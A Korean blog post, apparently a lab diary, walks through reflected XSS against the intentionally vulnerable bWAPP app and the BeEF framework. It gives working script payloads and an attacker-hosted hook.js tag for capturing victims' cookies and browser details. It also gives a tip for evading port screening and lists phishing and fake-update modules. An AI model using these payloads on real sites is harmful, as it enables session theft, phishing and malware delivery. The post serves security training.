본문 바로가기
Security Project

38. ReflectedXSS 취약점 실습 + BeEF 실습

by 귀멸 2023. 1. 5.

1. Beebox를 이용한 ReflectedXSS 취약점 실습

 

StoredXSS에 비해 ReflectedXSS은 보통 위험도 Low 수준으로 고지한다. 

  • A3-XSS-Reflected(GET)
    Get 방식은 URL을 통해 파라미터를 전달함으로
    게시글 파라미터 값에 XSS을 위한 구문을 삽입하면
    http://192.168.182.130/bWAPP/xss_get.php?firstname=1&lastname=1&form=submit
    "><script>alert(1);</script>  //  "><script>alert(2);</script>

    http://192.168.182.130/bWAPP/xss_get.php?firstname="><script>alert(1);</script>&lastname="><script>alert(2);</script>&form=submit
    아래와 같이 확인 가능


2. BeEF Frame work을 이용한 XSS 공격 실습

  • BeEF 설치 Kali Linux 
    ┌──(root㉿kali)-[/home/kali]
    └─# sudo apt-get update 
    └─# sudo apt install beef-xss 
    설치 과정이 꽤나 길다. 시키는 대로 설치하고
    설치된 폴더로 가서 파일 한번 확인해 주고
    └─# cd /usr/share/beef-xss/

    실행파일을 실행해 보면 아래와 같은 에러 메시지를 띄운다. 
    └─# ./beef
    [20:55:55][!] ERROR: Don't use default username and password!
    [20:55:55]    |_  Change the beef.credentials.passwd in /etc/beef-xss/config.yaml

    Default Password를 변경해 주어야 한다.

    config.yaml에서 여러 가지 설정을 만질 수 있는데 
    특히 port 설정을 기본 3000에서 80, 443등으로 변경해서 
    port screening을 우회할 수 있도록 한다.

    터미널 새로 하나 열어서
    ┌──(kali㉿kali)-[~]
    └─$ cd /etc/beef-xss           
    └─$ ls
    config.yaml                                                                   
    └─$ sudo vim config.yaml
    config 들어가서 비밀번호 임의로 변경 후 다시 실행

    아래와 같이 내부 외부에서 접속할 수 있는 서버가 열린다.

    [21:58:37][*] 2 network interfaces were detected.
    [21:58:37][*] running on network interface: 127.0.0.1
    [21:58:37]    |   Hook URL: http://127.0.0.1:3000/hook.js
    [21:58:37]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
    [21:58:37][*] running on network interface: 192.168.182.128
    [21:58:37]    |   Hook URL: http://192.168.182.128:3000/hook.js
    [21:58:37]    |_  UI URL:   http://192.168.182.128:3000/ui/panel

    외부에서 접속할 수 있는 URL로 접속해 보면 아래와 같다.

 

  • hook.js를 이용해서 XSS 공격 연계
    위에서 나오는 Hook URL을 포함시켜 XSS 공격 스크립트를 만든다.
    <script src="http://192.168.182.128:3000/hook.js"></script>
    공격자 Kali에서 비박스 XSS-Stroed (blog) 게시판에 해당 공격 스크립트를 남기고,
    Victim(exploler)이 해당 게시글을 열람한다.
    아래와 같이 XSS 공격이 된 희생자의 IP, 브라우저,
    운영체제, 쿠키정보 등의 정보를 UI 페이지에서 확인할 수 있다.

 

  • 희생자 브라우저  강제 컨트롤
    BeEF Framework에서는 XSS로 붙잡은 희생자의 Browser를 컨트롤할 수 있는
    수많은 Module을 제공한다.  이런 거까지 XSS로 할 수 있다고 할 정도의 기능들

    Redirect Browser - 희생자의 브라우저 페이지를 내가 원하는 페이지로 이동시킨다.
    Google Phishing - 구글 로그인 페이지처럼 보이는 페이지를 보여주면서 아이디 패스워드 입력을 유도한다.
    Fake Flash Update - 플래시 업데이트인 것처럼 보이게 하고 내가 올리는 악성파일을 다운로드하게 유도한다.
    Create Prompt Dialog - 희생자의 브라우저로 메시지를 보내고 희생자의 입력값을 받을 수 있다.

 

댓글